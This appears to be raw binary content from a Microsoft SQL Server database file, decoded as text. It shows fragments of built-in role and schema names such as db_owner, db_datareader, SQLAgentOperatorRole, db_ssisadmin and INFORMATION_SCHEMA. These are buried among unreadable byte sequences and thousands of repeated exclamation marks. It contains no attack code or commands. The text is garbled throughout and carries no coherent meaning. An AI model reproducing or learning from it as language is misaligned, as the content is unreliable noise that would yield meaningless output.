68E
68
68
68
6
68
6
6h$
68%
6		h$	
68
64
68
60
6
H`&x>Vn4Ld*|BZ r8h.F^$v<Tl2
P

J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`#@W-:80#FG8PRIMARY0#2@++:db_owner0#2@++Fdb_accessadmin0#2@++Jdb_securityadmin0#2@++@db_ddladmin0#2@++Ldb_backupoperator0#2@++Ddb_datareader0#2@++Ddb_datawriter0#2@++Ldb_denydatareader0#2	@++Ldb_denydatawriter0#2++4guest0#2++0dbo0#2++0sys0#2++NINFORMATION_SCHEMA<#MM8PRIMARY0#
MM\Microsoft.SqlServer.Types0#]Z]Z8PRIMARY0#2C[C[LTargetServersRole0#2C[C[JSQLAgentUserRole0#2C[C[NSQLAgentReaderRole0#2C[C[RSQLAgentOperatorRole0#2	z[z[RDatabaseMailUserRole0#2
}[}[Bdb_ssisadmin0#2[[Fdb_ssisltduser0#2Ҡ[Ҡ[Hdb_ssisoperator!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v2bDRrB`(
Z@X(LG^W8!!!!`@Y-:JHv&PRIMARY&2@db_owner&2@&db_accessadmin&2@*db_securityadmin&2@ db_ddladmin&2@,db_backupoperator&2@$db_datareader&2@$db_datawriter&2@,db_denydatareader&2	@,db_denydatawriter&2guest&2dbo&2sys&2.INFORMATION_SCHEMA*PRIMARY&
<Microsoft.SqlServer.Types&PRIMARY&2,TargetServersRole&2*SQLAgentUserRole&2.SQLAgentReaderRole&22SQLAgentOperatorRole&2	2DatabaseMailUserRole&2
"db_ssisadmin&2&db_ssisltduser&2(db_ssisoperator!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! `HxvR.R
Z@Z(J.O*^Y8!!!!`"n[G20RwAUd	03Opublic	tgIKC'b0@R|AU|AU	07Gdb_owner	@0@R|AU|AU	0CSdb_accessadmin	@0@RAUAU	0GWdb_securityadmin	@0@RAUAU	0=Mdb_ddladmin	@0@RAUAU	0IYdb_backupoperator	@0@RAUAU	0AQdb_datareader	@0@RAUAU	0AQdb_datawriter	@0@RAUAU	0IYdb_denydatareader	@0	@RAUAU	0IYdb_denydatawriter		@0SwAUwAU
566@guestguest0SnAU^Z
1228dbodbo0S++	8+sys0S++	8IINFORMATION_SCHEMA0@R|AUd	07Sdb_owner	@0@R|AUd	0C_db_accessadmin	@0@RAUd	0Gcdb_securityadmin	@0@RAUd	0=Ydb_ddladmin	@0@RAUd	0Iedb_backupoperator	@0@RAUd	0A]db_datareader	@0@RAUd	0A]db_datawriter	@0@RAUd	0Iedb_denydatareader	@0	@RAUd	0Iedb_denydatawriter		@0RC[C[
0IeTargetServersRole	'FNE';X(d0RC[C[
0GcSQLAgentUserRole	y<
Kӵo0RC[C[
0KgSQLAgentReaderRole	&@0K0RC[C[
0OkSQLAgentOperatorRole	<Mh40	Rz[z[
0OkDatabaseMailUserRole	ȁhLqE6_$0
R}[}[
0?[db_ssisadmin	NMLn=0R[[
0C_db_ssisltduser	wʷB-0RҠ[Ҡ[
0Eadb_ssisoperator	R)LvDKNW0
R`[`[
0=Ydc_operator	ZG}j0R[[
07Sdc_admin	B}@j^l0Ry[y[
